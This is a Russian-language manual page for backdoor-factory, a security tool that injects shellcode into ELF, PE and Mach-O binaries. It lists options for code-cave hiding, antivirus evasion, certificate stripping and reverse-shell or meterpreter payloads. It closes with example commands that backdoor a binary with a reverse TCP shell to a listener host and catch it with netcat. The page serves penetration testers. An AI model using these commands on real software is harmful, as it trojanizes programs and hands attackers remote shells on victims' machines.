backdoor-factory - внедрить предопределенный или определенный пользователем шелл-код в двоичные файлы
backdoor-factory [options]
backdoor-factory исправляет исполняемые двоичные файлы с желаемым пользователем шелл-кодом и продолжает нормальное выполнение предварительно исправленного состояния.
Этот инструмент предназначен только для специалистов по безопасности и исследователей.
Этот инструмент не поддерживает перемещаемый исполняемый файл ELF (т. е. скомпилированный с параметром -fPIE, предложенным требованиями Debian по усилению защиты, см. https://wiki.debian.org/Hardening
)
Двоичные файлы, такие как ssh, не могут корректно обрабатываться, в отличие от двоичных файлов, таких как dolphin (на момент написания этой справочной страницы).
показать это справочное сообщение и выйти
Файл в бэкдор
Полезные нагрузки, доступные для использования. Используйте «show», чтобы увидеть полезные нагрузки.
IP C2 для обратных подключений.
Порт для обратного подключения для обратных оболочек или для прослушивания связывающих оболочек.
Выберите эту опцию, если вы хотите использовать прыжки в пещеру кода, чтобы еще больше скрыть ваш шелл-код в двоичном коде.
Обязательное добавление нового раздела в exe (лучший успех), но меньшее избегание av
Пользовательский шеллкод, убедитесь, что он соответствует целевой архитектуре.
Флаг пещеры найдет пещеры кода, которые можно использовать для хранения шелл-кода. Это напечатает все пещеры кода определенного размера. С этим параметром можно использовать флаг -l.
Для использования с -c, чтобы помочь найти пещеры кода разных размеров.
Путь к выходному файлу бэкдора. Родительский каталог должен существовать
Название нового раздела должно быть меньше семи символов.
Это расположение файлов, которые вы хотите заблокировать. Вы можете ускорить резервное копирование каталога файлов, принудительно присоединив кодкейв к exe с помощью параметра -a.
Этот флаг изменяет раздел, в котором находится codecave, на RWE. Иногда это необходимо. Включено по умолчанию. Если он отключен, бэкдор может выйти из строя.
Эта команда превращает фабрику бэкдоров в механизм типа охоты и внедрения шеллкода. Отредактируйте целевые настройки в модуле инжектора.
Для использования с инжектором добавляет суффикс к исходному файлу для облегчения восстановления.
Для использования с инжекторным модулем. Эта команда удаляет исходный файл. Не для использования в производственных системах. (Автор не несет ответственности за глупое использование.)
Начальная точка смещения на диске, в байтах. Некоторые авторы хотят запутать свое смещение на диске, чтобы избежать обратной разработки, если вы обнаружите, что один из этих файлов использует этот флаг после того, как вы найдете смещение.
Чтобы определить, поддерживается ли файл BDF, перед его бэкдором. Для использования отдельно или с подробным описанием. Эта проверка происходит автоматически при попытке взлома.
Будущее использование, чтобы помочь определить наименьший шелл-код, возможный в PE-файле.
Убивает баннер.
Для вывода отладочной информации.
Только двоичные файлы типа ALL, x86 или x64. По умолчанию=ВСЕ
Позволяет перезаписывать указатель на таблицу PE-сертификатов, эффективно удаляя сертификат из двоичного файла во всех смыслах и целях.
ЭКСПЕРИМЕНТАЛЬНАЯ ЧАСТЬ Проверяет двоичные файлы PE на наличие «requestedExecutionLevel level="highestAvailable"». Если эта строка включена в двоичный файл, она должна работать как система/администратор. Если он не находится в режиме проверки поддержки, он попытается исправить наивысший доступный уровень в манифесте, если существует запись запрашиваемого уровня выполнения.
Используйте этот параметр, если вы НЕ хотите исправлять библиотеки DLL. Патчи по умолчанию.
Для формата MACH-O. Если толстый файл, ориентируйтесь на какую арку патчить. По умолчанию х64. Чтобы принудительно использовать x86, используйте -F x86, чтобы принудительно использовать обе арки, используйте -F ALL.
Для полезных нагрузок, у которых есть возможность отправлять маяки, установите время в секундах.
Методы исправления для PE-файлов, «ручной», «автоматический», замена и onionduke
Для луковицы. Укажите желаемый двоичный файл.
По умолчанию: НЕ поддерживать устаревшие машины XP, используйте -X для поддержки XP. По умолчанию двоичный файл будет аварийно завершать работу на компьютерах с XP (например, в песочницах).
ЭКСПЕРИМЕНТАЛЬНАЯ ВЕРСИЯ По умолчанию новая таблица каталогов импорта создается в новом разделе, при вызове этого флага она будет помещена в пещеру кода. В некоторых случаях это может привести к сбою bianry. Сначала проверьте целевые двоичные файлы.
Для тех, у кого есть сертификаты на разработку кода, желающие подписывать только двоичные файлы PE. Назовите свой ключ подписи и закрытый ключ signingcert.cer и signingPrivateKey.pem соответственно в каталоге сертификатов, который вы можете получить, чтобы получить сертификаты подписи.
Чтобы выполнить сценарии предварительной обработки в каталоге предварительной обработки
В backdoor-factory есть различные предустановленные шеллкоды. Их доступность зависит от типа цели (ELF32, ELF64, PE32...). Список шеллкодов определен ниже.
нужно: удаленный хост и порт, которые нужно установить разрешает: удаленный доступ к оболочке
нужно: удаленный хост и порт, которые нужно установить разрешает: удаленный доступ к оболочке
нужно: установить маяк, удаленный хост и порт. разрешения: удаленный доступ к оболочке.
нужно: определяемый пользователем шеллкод, готовый к внедрению разрешений: зависит от шеллкода
нужно: разрешений:
потребности: удаленный хост и порт, которые необходимо установить; разрешения: удаленный доступ к оболочке.
потребности: удаленный хост и порт, которые необходимо установить. Разрешает: Внедрить DLL сервера meterpreter через полезную нагрузку Reflective Dll Injection.
потребности: удаленный хост и порт, которые необходимо установить; разрешения: meterpreter через транспорт https.
потребности: определяемый пользователем шеллкод, готовый к внедрению разрешения: зависит от шеллкода
потребности: удаленный хост и порт, которые необходимо установить, позволяют:
потребности: удаленный хост и порт, которые необходимо установить, позволяют:
потребности: удаленный хост и порт, которые необходимо установить. Разрешает: Внедрить DLL сервера meterpreter через полезную нагрузку Reflective Dll Injection.
потребности: определяемый пользователем шеллкод, готовый к внедрению разрешения: зависит от шеллкода
потребности: удаленный хост и порт, которые необходимо установить; разрешения: удаленный доступ к оболочке.
потребности: удаленный хост и порт, которые необходимо установить; разрешения: удаленный доступ к оболочке.
потребности: маяк, удаленный хост и порт для настройки разрешения: удаленный доступ к оболочке
потребности: определяемый пользователем шеллкод, готовый к внедрению разрешения: зависит от шеллкода
Пример пещерного кодирования двоичного файла ELF путем интеграции удаленного доступа к оболочке через удаленный прослушиватель TCP (например, netcat):
backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp
На хосте за IP 172.16.0.15 запустите netcat в режиме прослушивания:
netcat -l 172.16.0.15 8080
На цели запустите бинарный файл с бэкдором:
./backdoored/dolphin
Теперь на хосте 172.16.0.15 просто используйте вашу оболочку.
Май 2017 г., первоначально составлено Филиппом Тьерри (фил из reseau-libre dot com)